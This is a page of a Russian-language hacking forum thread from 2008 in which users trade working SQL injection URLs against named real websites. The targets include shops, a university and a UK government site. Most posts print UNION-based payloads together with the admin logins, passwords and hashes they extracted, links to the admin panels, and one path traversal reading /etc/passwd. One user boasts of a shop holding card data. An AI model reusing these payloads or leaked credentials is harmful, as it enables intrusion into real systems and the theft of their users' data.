SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 350 of 798
  1. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    http://apps.facebook.com/snowago/area.php?areaid=303021+AND+1=2+UNION+SELECT+0,username,2,3,password%20from%20users%20limit%201,1
    Хмм.. это не сам facebook..
    http://affinispace.com/facebook/
     
    #6981 Rebz, 8 Dec 2008
    3 people like this.
  2. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    http://www.soulmenace.com​


    Code:
    http://www.soulmenace.com/schedule-detail.php?Id=-1+union+select+1,2,3,4,5,6,7--
    Версия оказалась 4.0.27-standard и пришлось подбирать вручную.
    Нашел таблицу prarez_soul.user, в ней подобрал имена: username и password. Вытащил логин с пассом:

    Code:
    http://www.soulmenace.com/schedule-detail.php?Id=-1+union+select+1,2,concat_ws(username,0x3a,password),4,5,6,7+from+prarez_soul.user--
    prarez : djbamix

    вход:
    Code:
    http://www.soulmenace.com/login.php
     
    #6982 USAkid, 8 Dec 2008
    1 person likes this.
  3. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://printer.konicaminoltaeurope.com/be/fr/news.php?id=-1+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+mysql.user--&PHPSESSID=66fba6d0283e0b2c99df64e3249e6916
    логин/пасс:
    Code:
    admin:6d8369a953851a24
    Code:
    root:6d8369a953851a24
    --------------------------------------------------------
    Code:
    http://www.beethovenmusic.nl/news.php?id=-1+union+select+1,concat_ws(0x3a,login,password),3,4,5,6,7,8,9+from+user--
    логин/пасс:
    Code:
    admin:nevets1
    --------------------------------------------------------
    The End!
     
    #6983 -m0rgan-, 8 Dec 2008
    Last edited: 8 Dec 2008
  4. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    http://www.smeda.org/info.php?id=-1+union+select+1,2,3,concat_ws(char(32,45,32),version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18--
    4.0.17-log - root@localhost - smeda_main01
    pr - 5
    тИЦ - 20
     
    #6984 masternet, 8 Dec 2008
    1 person likes this.
  5. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.e-linebv.nl/news.php?id=-8+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,user,password),13,14,15,16+from+mysql.user--
    логин/пасс:
    Code:
    root:05764bd379f12110
    ---------------------------------------------------------------
    Code:
    http://www.factorydirect.nl/news.php?id=-8+union+select+1,concat_ws(0x3a,log,pass),3,4+from+login--
    логин/пасс:
    Code:
    tyra:[email protected]
    ---------------------------------------------------------------
    Code:
    http://www.waterpoortboys.nl/news.php?id=-8+union+select+1,concat_ws(0x3a,username,password),3,4+from+admins--
    логин/пасс:
    Code:
    Alco:da77e9894373dc42c7d83650b5c3f9c2
    ---------------------------------------------------------------
    The End!
     
    #6985 -m0rgan-, 8 Dec 2008
  6. FNS

    FNS Member

    Joined:
    6 Nov 2008
    Messages:
    16
    Likes Received:
    11
    Reputations:
    0
    Shop (есть картон...)

    Один шоп с картоном, второй не юзал основательно.
     
    #6986 FNS, 8 Dec 2008
    Last edited: 9 Dec 2008
    1 person likes this.
  7. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    www.citymix.ru - интернет-магазин одежды
    Version: 5.0.27-log
    User: citymix@localhost
    Database: citymix
     
    #6987 Thrasher88, 9 Dec 2008
  8. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    "Аренда интернет магазина" (Не сайт, а одна сплошная дырка)

    Code:
    http://www.indsite.ru/index.php?object=magazin&id_content=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--
    2-ое поле принтабельно.
    5-ая ветка.

    Админка:

    Code:
    http://www.indsite.ru/im_index.php?file=input1.php
    info41 : 1

    Ну и:

    Code:
    http://www.indsite.ru/index.php?object=korzina&id0=36687&operation=../../../../../../../../etc/passwd
     
    #6988 R1dex, 9 Dec 2008
    1 person likes this.
  9. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    Помогите, пожалуйста, вынуть логин и пасс юзеров.
    Вот скуля:
    Список полей в таблице mtl_users:
    Дальше пытаюсь вывести содержимое полей вот так:
    Но ничего не выходит! Вылазит ошибка
    Что делать? Как просмотреть данные ролей? Пробовал шифровать название таблицы, колонок (на всякий случай), заменять плюсы на просто пробелы и на /**/ - все равно не выводится :(
     
    #6989 Thrasher88, 9 Dec 2008
  10. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    И не удивительно, ведь таблица mtl_users - пустая.

    Code:
    http://gta.com.ua/file_details.phtml?id=-1+union+select+1,2,3,concat_ws(0x2f,table_name,table_rows),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables+limit+36,1--
     
    #6990 R1dex, 9 Dec 2008
  11. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    http://www.lifeskillstraining.com/faq.php?id=-6+union+select+1,concat_ws(char(32,45,32),version(),user(),database()),3,4--
    4.1.20 - [email protected] - nhpa
     
    #6991 masternet, 9 Dec 2008
    1 person likes this.
  12. N1K70

    N1K70 Banned

    Joined:
    2 Jan 2008
    Messages:
    161
    Likes Received:
    76
    Reputations:
    21
    Code:
    http://rolemancer.ru/sections.php?op=viewarticle&artid=-666+union+all+select+1,2,concat(name,0x3a,0x3a,pass),4,5,6,7,8,9,10,11,12,13+from+users+limit+0,1/*
    qwe::qw99ngkCljbZI
     
    #6992 N1K70, 9 Dec 2008
  13. DJ.KilleR

    DJ.KilleR Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    557
    Likes Received:
    297
    Reputations:
    2
    Code:
    http://www.nskfitness.ru/articles.php?cat_id=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11 --
    5.0.67:[email protected]:sibdetiru_nskfit
     
    #6993 DJ.KilleR, 9 Dec 2008
    2 people like this.
  14. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.autobaza.ro/car_details.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,concat_ws(0x3a3a,user,password),24,25+from+users+limit+0,1--

    login: andrei
    pass: andrei17


    http://www.autobaza.ro/admin/


    Админим ушлепков....
     
    #6994 Cennarios, 9 Dec 2008
    1 person likes this.
  15. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.targetonline.ro/large_picture.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,adminuser_name,adminuser_password,adminuser_level),8+from+adminuser+limit+0,1--
    login Liviu
    pass a

    http://www.targetonline.ro/admin

    И еще один гомо-портал )) на закуску
     
    #6995 Cennarios, 9 Dec 2008
  16. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    www.wargames.ru
    4.1.7:wargames@localhost:Wargames
     
    #6996 Thrasher88, 9 Dec 2008
    Last edited: 10 Dec 2008
  17. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    http://www.rochester.edu/news/show.php?id=3136+and+substring(@@version,1,1)=3 - blind sql
    http://www.rochester.edu/news/show.php?id=3136+and+substring(@@version,1,1)=4 - ошибка
     
    #6997 Tigger, 10 Dec 2008
  18. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    http://new.groteck.ru/rss/?site_id=-1+union+select

    можно раскрутить? или это просто бага?
     
    #6998 попугай, 10 Dec 2008
  19. xena-mil1

    xena-mil1 Elder - Старейшина

    Joined:
    17 Oct 2006
    Messages:
    13
    Likes Received:
    21
    Reputations:
    0
    http://www.herpconstrust.org.uk/news/expand-news.php?id=9999%20union%20select%201,2,3,4,version(),6,7,8

    http://www.name.net/marketplace/search-domains.php?sub_category=999999%20union%20select%201,2,3,4,version(),6,7,8,9,10,11,12,13,14

    http://www.name.net/marketplace/search-domains.php?sub_category=999999%20union%20select%201,2,3,4,concat(username,char(0x27),password),6,7,8,9,10,11,12,13,14%20from%20account



    tbl:account,domain

    name.net'*F4A92A0B0992BFEB56A81F234194BA8E4A010283 6 purchase | make offer
    owenb'*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

    кто сбрутит пмните мне


    http://www.asf.ca/news.php?id=9999%20uNion%20select%201,version(),3,4,5,6,7


    http://www.atlantasilverbacks.com/news/displaynews.php?id=9999%20union%20select%201,2,version(),4,5,6,7,8,9,10,11,12
     
    #6999 xena-mil1, 10 Dec 2008
    1 person likes this.
  20. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    http://www.thecorporatelibrary.com/info.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(char(32,45,32),version(),user(),database()),10,11,12,13,14,15,16,17,18--
    5.0.51b-community-nt - tcorplib@132102-APP1 - tclib
    Список таблиц из information_schema:
    -------
    1:CHARACTER_SETS
    2:COLLATIONS
    3:COLLATION_CHARACTER_SET_APPLICABILITY
    4:COLUMNS
    5:COLUMN_PRIVILEGES
    6:KEY_COLUMN_USAGE
    7:pROFILING
    8:ROUTINES
    9:SCHEMATA
    10:SCHEMA_PRIVILEGES
    11:STATISTICS
    12:TABLES
    13:TABLE_CONSTRAINTS
    14:TABLE_PRIVILEGES
    15:TRIGGERS
    16:USER_PRIVILEGES
    17:VIEWS
    18:tcompanies
    19:address
    20:address2cart
    21:calendar_events
    22:cart
    23:cart_bak
    24:cartcc
    25:category
    26:change_log
    27:company_bak
    28:info
    29:link
    30:link_cat
    31:news
    32:news_categories
    33:person
    34:product
    35:product2cart
    36:product2cart_bak
    37:product2category
    38:product_bak
    39:promotion
    40:recommendations
    41:site_section
    42:state
    43:subscription
    44:testimonial
    45:users
    46:users_bak
    --------------------------------------
    http://www.roguegovernment.com/news.php?id=-1+union+select+1,concat_ws(char(32,45,32),version(),user(),database()),3,4,5,6,7,8,9,10--
    4.1.22-standart - roguegov_publicr@localhost-roguegov_rgov
    ----------------------------------------
    http://www.monitor-nhsft.gov.uk/news.php?id=-1+union+select+1,concat_ws(char(32,45,32),version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    5.0.54 - monitor@localhost - nhsftreg
    ---------------------------------------------------
    http://en.apa.az/news.php?id=-1+union+select+1,2,concat_ws(char(32,45,32),version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16--
    5.0.67-community - apaadm_user@localhost - apaadm_en
    ------------
    p.s. спите что ли?инъекций чо т мало выложено за сёдня..
     
    #7000 masternet, 10 Dec 2008
    Last edited: 10 Dec 2008
    1 person likes this.
(You must log in or sign up to post here.)
Page 350 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.